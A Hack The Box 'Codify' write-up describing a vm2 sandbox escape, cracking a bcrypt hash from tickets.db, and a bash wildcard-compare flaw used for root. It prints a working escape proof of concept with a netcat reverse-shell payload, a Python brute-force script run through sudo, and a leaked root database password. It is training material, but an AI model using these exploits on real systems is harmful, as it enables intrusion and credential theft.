Hack The Box Codify Writeup (Easy Linux)
Easy Linux box. A vm2 sandbox escape in the Codify editor gives a shell as svc, a cracked hash from tickets.db gives joshua, and a wildcard compare gives root.
Summary
Codify hosts an online Node.js editor that runs submitted code inside vm2 3.9.19, a version whose Promise handler sanitization can be bypassed through the @@species accessor. The public proof of concept escapes the sandbox and runs commands, giving a reverse shell as svc. That account can read /var/www/contact/tickets.db, a SQLite database holding joshua’s password hash, which hashcat recovers in mode 3200 for an SSH login. joshua may run /opt/scripts/mysql-backup.sh as root, and the script compares the supplied password with double brackets, so the shell treats it as a pattern and a bare asterisk matches. That flaw allows brute forcing the password one character at a time, or simply watching pspy print the cleartext credentials in the process list, and either route ends as root.
export IP=10.10.11.239
Service Enumeration
| IP Address | Ports Open |
|---|---|
| 10.10.11.239 | TCP: 22, 80 |
BS01: Initial Access - Sandbox Escape in vm2@3.9.19 via Promise[@@species]
Vulnerability Explanation: Codify editor is using vm2 to sandbox user code for security reasons. The problem is that in vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed with @@species accessor property, allowing attackers to escape the sandbox and run arbitrary code.
Severity: High
Vulnerability Fix: Update vm2
Steps to Reproduce the Attack:
- Head to
http://codify.htb/editor - Use netcat to listen on port 1337:
nc -lvnp 1337 - Use the following proof of concept to execute arbitrary commands on the remote host:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR-TUN0-IP 1337 >/tmp/f'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
Post Exploitation
LPE (Local Privilege Escalation) to joshua
Vulnerability Explanation: svc user has access to a tickets database that contains joshua’s hashed password. Unfortunately, joshua is using a weak password and the pentester was able to crack the password hash with ease.
Severity: High
Steps to Reproduce the Attack:
- Use sqlite3 to dump information from /var/www/contact/tickets.db:
1
2
3
4
5
6
7
8
9
10
11
12
13
svc@codify:/var/www/contact$ sqlite3 tickets.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables;
Error: unknown command or invalid arguments: "tables;". Enter ".help" for help
sqlite> .tables
tickets users
sqlite> select * from users
...> ;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite> select * from tickets;
1|Tom Hanks|Need networking modules|I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!|open
2|Joe Williams|Local setup?|I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.|open
- Copy the hash to your attacking machine and save it to a file named ‘hash.txt’.
- Use hashcat to crack the password hash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
¨NBSP;
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2
Time.Started.....: Sun Nov 5 11:42:12 2023 (1 min, 13 secs)
Time.Estimated...: Sun Nov 5 11:43:25 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 19 H/s (8.53ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1360/14344385 (0.01%)
Rejected.........: 0/1360 (0.00%)
Restore.Point....: 1344/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4064-4096
Candidate.Engine.: Device Generator
Candidates.#1....: teacher -> 080808
Hardware.Mon.#1..: Util: 88%
Started: Sun Nov 5 11:41:22 2023
Stopped: Sun Nov 5 11:43:26 2023
- Log in as joshua via SSH:
ssh joshua@codify.htb
LPE (Local Privilege Escalation) to root
Vulnerability Explanation: Joshua user can run /opt/scripts/mysql-backup.sh as root, and there is a logic flaw in the source code.
The issue here lies in the wildcard character ‘*’ being used in the password comparison. In Bash, ‘*’ is a wildcard that matches any sequence of characters. When the user types ‘k*’, it essentially means “any password starting with ‘k’”.
In the script’s password comparison line:
1
if [[ $DB_PASS == $USER_PASS ]]; then
The double brackets [[ ... ]] perform pattern matching, and since ‘*’ is a wildcard, it matches any characters. Therefore, if the actual password starts with ‘k’, the condition will evaluate to true, even if additional characters follow.
The attacker can perform a bruteforce attack, eventually getting the entire password correct, or use a tool like pspy to watch for the cleartext credentials.
Severity: Extreme
Vulnerability Fix: To fix this, you can use the = operator for string comparison, which doesn’t interpret ‘*’ as a wildcard. Update the line to:
1
if [ "$DB_PASS" = "$USER_PASS" ]; then
This will compare the strings without wildcard interpretation, ensuring that the password entered by the user must exactly match the stored password.
Steps to Reproduce the Attack: Method 1 - Bruteforce:
- Create a python script to bruteforce the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import string
import subprocess
def check_password(password):
command = f"echo '{password}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return "Password confirmed!" in result.stdout
def find_password():
all_characters_and_numbers = string.ascii_letters + string.digits
password = ""
try:
while True:
for character in all_characters_and_numbers:
if check_password(password + character):
password += character
print(password)
break
else:
raise StopIteration
except StopIteration:
return password
def main():
found_password = find_password()
if found_password:
print(f"Password found: {found_password}")
else:
print("Password not found.")
if __name__ == "__main__":
main()
Steps to Reproduce the Attack: Method 2 - Monitoring processes:
- Upload pspy to the remote machine
- Guess the first character of the password by running:
sudo -u root /opt/scripts/mysql-backup.shand typing a letter between a-z and a * wildcard (in this case, the first letter is:k*) - Run pspy to monitor the processes:
./pspy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2023/11/05 19:20:57 CMD: UID=0 PID=218438 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218439 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218440 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218442 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218441 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218443 | /usr/bin/grep -Ev (Database|information_schema|performance_schema)
2023/11/05 19:20:57 CMD: UID=0 PID=218446 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218448 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218447 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql
2023/11/05 19:20:57 CMD: UID=0 PID=218449 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218451 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:57 CMD: UID=0 PID=218450 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:58 CMD: UID=0 PID=218452 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:58 CMD: UID=0 PID=218453 | /bin/bash /opt/scripts/mysql-backup.sh
2023/11/05 19:20:58 CMD: UID=0 PID=218454 |
2023/11/05 19:20:58 CMD: UID=0 PID=218455 |
2023/11/05 19:20:58 CMD: UID=0 PID=218456 | /bin/bash /opt/scripts/mysql-backup.sh